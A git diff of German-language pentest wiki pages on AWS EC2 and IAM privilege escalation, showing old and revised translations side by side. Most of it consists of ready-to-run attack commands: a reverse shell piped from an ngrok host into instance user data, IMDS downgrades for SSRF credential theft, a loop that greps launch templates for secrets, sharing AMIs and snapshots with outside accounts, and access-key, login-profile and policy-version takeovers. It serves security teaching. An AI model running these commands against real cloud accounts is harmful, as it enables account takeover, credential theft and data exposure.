|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
Um zu lernen, wie man **erzwingen kann, dass ECS-Dienste in dieser neuen EC2-Instanz ausgeführt werden**, siehe:
|
||||
Um zu erfahren, wie man **ECS services dazu zwingt, auf dieser neuen EC2 instance ausgeführt zu werden**, siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie die Instanz im Cluster registrieren und den beschriebenen Angriff durchführen.
|
||||
Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie die Instanz im Cluster registrieren und den kommentierten Angriff ausführen.
|
||||
|
||||
**Potentielle Auswirkungen:** Direkter privesc auf ECS-Rollen, die an Tasks angehängt sind.
|
||||
**Potentieller Impact:** Direkte privesc auf an Tasks angehängte ECS-Rollen.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen **die IAM-Rolle einer kompromittierten Instanz ändern**, um neue Anmeldeinformationen stehlen zu können.\
|
||||
Da ein Instance Profile nur eine Rolle haben kann, wenn das Instance Profile **bereits eine Rolle** hat (häufiger Fall), benötigen Sie außerdem **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen die **IAM-Rolle einer kompromittierten instance ändern**, um neue Anmeldeinformationen zu stehlen.\
|
||||
Da ein instance profile nur 1 Rolle haben kann, benötigen Sie, falls das instance profile **bereits eine Rolle hat** (häufiger Fall), außerdem **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Wenn das **instance profile eine role hat** und der Angreifer es **nicht entfernen kann**, gibt es eine andere Umgehung. Er könnte **ein instance profile ohne role finden** oder **einen neuen erstellen** (`iam:CreateInstanceProfile`), die **role** zu diesem **instance profile hinzufügen** (wie zuvor besprochen), und **das instance profile zuordnen** kompromittiert zu einer kompromittierten i**nstance:**
|
||||
Wenn das **instance profile hat eine role** und der Angreifer **es nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **finden** ein **instance profile ohne role** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **hinzufügen** die **role** zu jenem **instance profile** (wie zuvor besprochen), und **das instance profile zuordnen** kompromittiert zu einer kompromittierten i**nstance:**
|
||||
|
||||
- Wenn die i**nstance** **kein instance** profile hat (`ec2:AssociateIamInstanceProfile`)
|
||||
- Wenn die instance **kein instance** profile hat (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Mögliche Auswirkung:** Direktes privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2 instance kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile-Status besitzen).
|
||||
**Potential Impact:** Direkter privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2-Instanz kompromittiert haben und über zusätzliche Berechtigungen oder einen bestimmten Instanzprofil-Status verfügen).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Mit diesen Berechtigungen ist es möglich, das mit einer Instance verknüpfte instance profile zu ändern. Wenn ein Angreifer bereits Zugriff auf eine Instance hat, kann er dadurch Anmeldeinformationen für weitere instance profile-Rollen stehlen, indem er das damit verknüpfte instance profile austauscht.
|
||||
Mit diesen Berechtigungen ist es möglich, das mit einer Instanz verknüpfte Instanzprofil zu ändern, sodass ein Angreifer, der bereits Zugriff auf eine Instanz hat, Anmeldeinformationen für weitere Rollen des Instanzprofils stehlen kann, indem er das damit verknüpfte Profil ändert.
|
||||
|
||||
- Wenn es **ein instance profile hat**, kannst du das instance profile **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren**
|
||||
- Wenn die Instanz **ein Instanzprofil hat**, kannst du das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **zuordnen**
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- oder **ersetzen** das **instance profile** der kompromittierten Instance (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- oder das **instance profile** der kompromittierten Instanz **ersetzen** (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Mögliche Auswirkungen:** Direktes privesc zu einer anderen EC2 role (du musst eine AWS EC2 instance kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile status besitzen).
|
||||
**Potentielle Auswirkung:** Direkter privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2-Instanz kompromittiert haben und zusätzliche Berechtigungen oder einen spezifischen instance profile status besitzen).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances`and`iam:PassRole`** kann **request** eine **Spot Instance** mit einer **EC2 Role attached** und einer **rev shell** in den **user data** anfordern.\
|
||||
Sobald die Instance ausgeführt wird, kann er die **IAM role stehlen**.
|
||||
Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances`and`iam:PassRole`** kann eine **Spot Instance** mit einer **EC2 Role attached** und einer **rev shell** in den **user data** anfordern.\
|
||||
Sobald die Instanz ausgeführt wird, kann er die **IAM role** stehlen.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanz ändern. Unter anderem kann er **change the user data**, wodurch er die Instanz dazu bringen kann, **run arbitrary data.** Das kann genutzt werden, um eine **rev shell to the EC2 instance** zu erhalten.
|
||||
Ein Angreifer mit dem **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanz ändern. Unter anderem kann er die **user data** ändern, was bedeutet, dass er die Instanz dazu bringen kann, **beliebige Daten auszuführen.** Das kann genutzt werden, um eine **rev shell auf die EC2-Instanz** zu erhalten.
|
||||
|
||||
Beachte, dass die Attribute nur geändert werden können, während die Instanz gestoppt ist; dafür werden die **permissions** **`ec2:StopInstances`** und **`ec2:StartInstances`** benötigt.
|
||||
Beachte, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher werden die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`** benötigt.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Potentielle Auswirkung:** Direkter privesc auf jede EC2 IAM Role, die an eine erstellte Instanz angehängt ist.
|
||||
**Mögliche Auswirkungen:** Direkter privesc auf jede an eine erstellte Instanz angehängte EC2 IAM Role.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kann eine **new Launch Template version** erstellen, die eine **rev shell in** den **user data** und **any EC2 IAM Role on it** enthält, die Standardversion ändern, woraufhin jede **Autoscaler group**, die dieses **Launch Template** verwendet und so konfiguriert ist, die **latest** oder die **default version** zu verwenden, die Instanzen mit diesem Template neu startet und die rev shell ausführt.
|
||||
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kann eine **new Launch Template version** erstellen, die eine **rev shell in** den **user data** und **any EC2 IAM Role on it** enthält, die Standardversion ändern, und **any Autoscaler group** **using** that **Launch Templat**e, die **configured** ist, die **latest** oder die **default version** zu verwenden, wird die Instanzen mit dieser Vorlage **re-run the instances** und dabei die rev shell ausführen.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Potentielle Auswirkung:** Direkter privesc auf eine andere EC2-Rolle.
|
||||
**Potential Impact:** Direkter privesc zu einer anderen EC2 role.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch Configuration erstellen** mit einer **IAM Role** und einer **rev shell** im **user data**, dann **eine autoscaling group aus dieser Konfiguration erstellen** und warten, bis die **rev shell** die **IAM Role** **stiehlt**.
|
||||
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch Configuration** mit einer **IAM Role** und einer **rev shell** in den **user data** erstellen, anschließend **eine autoscaling group** aus dieser Konfiguration anlegen und darauf warten, dass die rev shell die **IAM Role** stiehlt.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**Potentielle Auswirkung:** Direkte privesc zu einer anderen EC2-Rolle.
|
||||
**Potentielle Auswirkung:** Direkter privesc zu einer anderen EC2-Rolle.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
Das Berechtigungs-Set **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **ist nicht ausreichend, um** Privilegien auf eine IAM-Rolle zu eskalieren, weil man, um die in der Launch Configuration oder im Launch Template angegebene Rolle anzuhängen, **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigt** (was eine bekannte privesc ist).
|
||||
Die Kombination der Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reicht nicht aus, um** Rechte auf eine IAM-Rolle zu eskalieren, da man, um die in der Launch Configuration oder im Launch Template angegebene Rolle anzuhängen, die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigt (was ein bekannter privesc ist).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSSHPublicKey`** kann einem Benutzer einen ssh key hinzufügen und diesen verwenden, um darauf zuzugreifen (wenn er ssh access zur Instanz hat) oder um Privilegien zu eskalieren.
|
||||
Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSSHPublicKey`** kann einem Benutzer einen ssh-Schlüssel hinzufügen und diesen verwenden, um sich damit anzumelden (wenn er ssh-Zugriff auf die Instanz hat) oder um Rechte zu eskalieren.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Potentielle Auswirkungen:** Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen angehängt sind.
|
||||
**Mögliche Auswirkungen:** Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen angehängt sind.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kann **einen ssh key zu einer seriellen Verbindung hinzufügen**. Wenn die serielle Konsole nicht aktiviert ist, benötigt der Angreifer die Berechtigung **`ec2:EnableSerialConsoleAccess`**, um sie zu aktivieren.
|
||||
Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kann **einen ssh-Schlüssel zu einer seriellen Verbindung hinzufügen**. Ist die serielle Konsole nicht aktiviert, benötigt der Angreifer die Berechtigung **`ec2:EnableSerialConsoleAccess`**, um sie zu aktivieren.
|
||||
|
||||
Um eine Verbindung zum seriellen Port herzustellen, muss der Angreifer außerdem **den Benutzernamen und das Passwort eines Benutzers** innerhalb der Maschine kennen.
|
||||
Um sich mit dem seriellen Port zu verbinden, muss der Angreifer außerdem **den Benutzernamen und das Passwort eines Benutzers** innerhalb der Maschine kennen.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Diese Methode ist für privesc nicht sehr nützlich, da man einen username und password kennen muss, um sie auszunutzen.
|
||||
Diese Methode ist für privesc nicht sehr nützlich, da man einen Benutzernamen und ein Passwort kennen muss, um sie auszunutzen.
|
||||
|
||||
**Potential Impact:** (Schwer nachweisbar) Direkter privesc zu den an laufenden EC2-Instanzen angehängten IAM-Rollen.
|
||||
**Mögliche Auswirkung:** (Schwer nachweisbar) Direkter privesc zu den EC2 IAM roles, die an laufende Instanzen angehängt sind.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Da launch templates eine Versionierung haben, könnte ein Angreifer mit den Berechtigungen **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** diese ausnutzen, um sensible Informationen zu finden, wie z. B. credentials, die in den user data hinterlegt sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren launch templates:
|
||||
Da launch templates versioniert sind, könnte ein Angreifer mit den Berechtigungen **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** diese ausnutzen, um sensible Informationen zu entdecken, wie z. B. in user data vorhandene Anmeldedaten. Um dies zu erreichen, durchläuft das folgende script alle Versionen der verfügbaren launch templates:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -248,11 +248,11 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
In den obigen Befehlen geben wir zwar bestimmte Muster an (`aws_|password|token|api`), du kannst jedoch einen anderen regex verwenden, um nach anderen Arten sensibler Informationen zu suchen.
|
||||
In den obenstehenden Befehlen, obwohl wir bestimmte Muster angeben (`aws_|password|token|api`), kannst du einen anderen Regex verwenden, um nach anderen Arten sensibler Informationen zu suchen.
|
||||
|
||||
Wenn wir `aws_access_key_id` und `aws_secret_access_key` finden, können wir diese Anmeldeinformationen verwenden, um uns bei AWS zu authentifizieren.
|
||||
Angenommen, wir finden `aws_access_key_id` und `aws_secret_access_key`, können wir diese Zugangsdaten verwenden, um uns bei AWS zu authentifizieren.
|
||||
|
||||
**Potential Impact:** Direkte Eskalation von Rechten auf IAM-Benutzer.
|
||||
**Mögliche Auswirkungen:** Direkte Privilegieneskalation auf IAM-Benutzer.
|
||||
|
||||
## Referenzen
|
||||
|
||||
@@ -262,12 +262,13 @@ Wenn wir `aws_access_key_id` und `aws_secret_access_key` finden, können wir die
|
||||
|
||||
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS-Downgrade, um SSRF-basierten Diebstahl von Zugangsdaten zu ermöglichen)
|
||||
|
||||
Ein Angreifer, der die Möglichkeit hat, `ec2:ModifyInstanceMetadataOptions` auf einer betroffenen EC2-Instance aufzurufen, kann die IMDS-Schutzmechanismen abschwächen, indem er IMDSv1 (`HttpTokens=optional`) aktiviert und den `HttpPutResponseHopLimit` erhöht. Dadurch wird der Instance-Metadata-Endpunkt über übliche SSRF-/Proxy-Pfade von Anwendungen, die auf der Instance laufen, erreichbar. Kann der Angreifer in einer solchen Anwendung einen SSRF auslösen, kann er die instance profile credentials abrufen und damit pivotieren.
|
||||
Ein Angreifer, der in der Lage ist, `ec2:ModifyInstanceMetadataOptions` auf einer Ziel-EC2-Instanz aufzurufen, kann IMDS-Schutzmaßnahmen abschwächen, indem er IMDSv1 (`HttpTokens=optional`) aktiviert und das `HttpPutResponseHopLimit` erhöht. Dadurch wird der Instance-Metadata-Endpunkt über gängige SSRF-/Proxy-Pfade aus Anwendungen erreichbar, die auf der Instanz laufen. Wenn der Angreifer in einer solchen Anwendung eine SSRF auslösen kann, kann er die Instance-Profile-Anmeldeinformationen abrufen und damit pivotieren.
|
||||
|
||||
- Erforderliche Berechtigungen: `ec2:ModifyInstanceMetadataOptions` auf der Ziel-Instance (plus die Fähigkeit, einen SSRF auf dem Host zu erreichen/auszulösen).
|
||||
- Zielressource: Die laufende EC2-Instance mit angehängtem instance profile (IAM role).
|
||||
- Erforderliche Berechtigungen: `ec2:ModifyInstanceMetadataOptions` auf der Zielinstanz (sowie die Möglichkeit, eine SSRF auf dem Host zu erreichen/auszulösen).
|
||||
- Zielressource: Die laufende EC2-Instanz mit angehängtem instance profile (IAM role).
|
||||
|
||||
Commands example:
|
||||
```bash
|
||||
@@ -296,5 +297,28 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
Mögliche Auswirkungen: Diebstahl von instance profile credentials über SSRF, was zu privilege escalation und lateral movement mit den EC2 role permissions führen kann.
|
||||
Mögliche Auswirkungen: Diebstahl von Instance-Profile-Anmeldeinformationen via SSRF, was zu privilege escalation und lateral movement mit den EC2-Rollenberechtigungen führen kann.
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
Ein Angreifer mit der Berechtigung ec2:ModifyInstanceMetadataOptions kann die Schutzmechanismen des Instance Metadata Service (IMDS) abschwächen — zum Beispiel indem er IMDSv1 erzwingt (HttpTokens nicht erforderlich macht) oder HttpPutResponseHopLimit erhöht — und so die Exfiltration temporärer Anmeldeinformationen erleichtern. Der relevanteste Risikopfad besteht darin, HttpPutResponseHopLimit zu erhöhen: Durch Erhöhung dieses Hop-Limits (TTL) ist der Endpunkt 169.254.169.254 nicht mehr strikt auf den Netzwerk-Namespace der VM beschränkt und kann von anderen Prozessen/Containern erreichbar werden, wodurch das Abgreifen von Anmeldeinformationen ermöglicht wird.
|
||||
```bash
|
||||
aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
--http-tokens optional \
|
||||
--http-endpoint enabled \
|
||||
--http-put-response-hop-limit 2
|
||||
```
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
Ein Angreifer, dem die Berechtigungen `ec2:ModifyImageAttribute` und `ec2:ModifySnapshotAttribute` zugewiesen sind, kann AMIs oder Snapshots mit anderen AWS-Konten teilen (oder sogar öffentlich machen). Dadurch werden Images oder Volumes offengelegt, die sensible Daten wie Konfigurationen, Zugangsdaten, Zertifikate oder Backups enthalten können. Durch das Ändern der launch permissions eines AMI bzw. der create-volume permissions eines Snapshots ermöglicht der Angreifer Dritten, Instanzen zu starten oder Datenträger von diesen Ressourcen einzuhängen und auf deren Inhalte zuzugreifen.
|
||||
|
||||
Um ein AMI mit einem anderen Konto zu teilen:
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
Um einen EBS snapshot mit einem anderen Account zu teilen:
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Für mehr Informationen zu IAM siehe:
|
||||
Für weitere Informationen zu IAM siehe:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,38 +12,38 @@ Für mehr Informationen zu IAM siehe:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung `iam:SetDefaultPolicyVersion`, indem das `--set-as-default` Flag verwendet wird. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
|
||||
Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung `iam:SetDefaultPolicyVersion`, indem das Flag `--set-as-default` verwendet wird. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Auswirkung:** Ermöglicht direkt eine Eskalation der Privilegien, da dadurch beliebige Aktionen auf beliebigen Ressourcen erlaubt werden.
|
||||
**Auswirkung:** Erhöht direkt die Privilegien, indem es jede Aktion auf jeder Ressource erlaubt.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Ermöglicht das Ändern der Standardversion einer IAM-Richtlinie auf eine andere vorhandene Version, was unter Umständen zu einer Eskalation der Privilegien führen kann, wenn die neue Version mehr Berechtigungen enthält.
|
||||
Ermöglicht das Ändern der Standardversion einer IAM policy zu einer anderen vorhandenen Version, was die Privilegien eskalieren kann, wenn die neue Version mehr Berechtigungen hat.
|
||||
|
||||
**Bash-Befehl:**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Auswirkung:** Indirekte Privilegieneskalation durch das Ermöglichen zusätzlicher Berechtigungen.
|
||||
**Impact:** Indirekte privilege escalation durch Ermöglichen zusätzlicher Berechtigungen.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
Ermöglicht das Erstellen einer Access Key ID und eines Secret Access Key für einen anderen Benutzer, was zu potenzieller Privilegieneskalation führen kann.
|
||||
Ermöglicht das Erstellen von access key ID und secret access key für einen anderen Benutzer, was zu potenzieller privilege escalation führen kann.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Auswirkung:** Direkte privilege escalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers.
|
||||
**Auswirkung:** Direkte privilege escalation durch das Übernehmen erweiterter Berechtigungen eines anderen Benutzers.
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Ermöglicht das Erstellen oder Aktualisieren eines Anmeldeprofils, einschließlich des Festlegens von Passwörtern für die Anmeldung an der AWS-Konsole, was zu einer direkten privilege escalation führt.
|
||||
Erlaubt das Erstellen oder Aktualisieren eines Login-Profils, einschließlich des Festlegens von Passwörtern für die Anmeldung an der AWS-Konsole, was zu direkter privilege escalation führt.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
@@ -55,23 +55,23 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Auswirkung:** Direkte Privilegieneskalation durch Anmeldung als "any" Benutzer.
|
||||
**Auswirkung:** Direkte Privilegienerhöhung durch Anmeldung als "beliebiger" Benutzer.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Ermöglicht das Reaktivieren eines deaktivierten access key, was zu unbefugtem Zugriff führen kann, wenn der Angreifer im Besitz des deaktivierten access key ist.
|
||||
Ermöglicht das Aktivieren eines deaktivierten access key, was möglicherweise zu unbefugtem Zugriff führen kann, wenn der Angreifer den deaktivierten access key besitzt.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Auswirkung:** Direkte Privilegieneskalation durch Reaktivierung von access keys.
|
||||
**Impact:** Direkte Privilegieneskalation durch Reaktivierung von access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Ermöglicht das Generieren oder Zurücksetzen von credentials für bestimmte AWS-Dienste (z. B. CodeCommit, Amazon Keyspaces), wobei die Berechtigungen des zugehörigen Benutzers übernommen werden.
|
||||
Ermöglicht das Erstellen oder Zurücksetzen von Anmeldeinformationen für bestimmte AWS-Services (z. B. CodeCommit, Amazon Keyspaces) und übernimmt dabei die Berechtigungen des zugehörigen Benutzers.
|
||||
|
||||
**Exploit zur Erstellung:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
@@ -79,11 +79,11 @@ aws iam create-service-specific-credential --user-name <username> --service-name
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Auswirkung:** Direkte Privilegieneskalation innerhalb der Dienstberechtigungen des Benutzers.
|
||||
**Auswirkung:** Direkte Privilegieneskalation innerhalb der Service-Berechtigungen des Benutzers.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen und eskaliert dadurch direkt Rechte, indem die Berechtigungen der angehängten Policy übernommen werden.
|
||||
Ermöglicht das Anhängen von Richtlinien an Benutzer oder Gruppen und eskaliert dadurch direkt Privilegien, indem die Berechtigungen der angehängten Richtlinie übernommen werden.
|
||||
|
||||
**Exploit für Benutzer:**
|
||||
```bash
|
||||
@@ -93,11 +93,11 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Auswirkung:** Direkte Rechteeskalation auf alles, was die Richtlinie gewährt.
|
||||
**Auswirkung:** Direkte privilege escalation auf alles, was die Richtlinie gewährt.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Ermöglicht das Anhängen oder Einfügen von Richtlinien an Rollen, Benutzer oder Gruppen und ermöglicht so eine direkte Rechteeskalation durch das Gewähren zusätzlicher Berechtigungen.
|
||||
Ermöglicht das Anhängen oder Hinzufügen von Richtlinien an Rollen, Benutzer oder Gruppen und erlaubt damit direkte privilege escalation durch die Gewährung zusätzlicher Berechtigungen.
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
Sie können eine Richtlinie wie folgt verwenden:
|
||||
Sie können eine Richtlinie wie die folgende verwenden:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -127,28 +127,28 @@ Sie können eine Richtlinie wie folgt verwenden:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Auswirkung:** Direkte Privilegieneskalation durch Hinzufügen von Berechtigungen über Policies.
|
||||
**Auswirkung:** Direkte Privilegieneskalation durch Hinzufügen von Berechtigungen über Richtlinien.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Ermöglicht, sich selbst zu einer IAM-Gruppe hinzuzufügen und damit Privilegien zu eskalieren, indem die Berechtigungen der Gruppe übernommen werden.
|
||||
Ermöglicht das Hinzufügen des eigenen Kontos zu einer IAM-Gruppe, wodurch Privilegien eskaliert werden, indem die Berechtigungen der Gruppe übernommen werden.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Impact:** Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.
|
||||
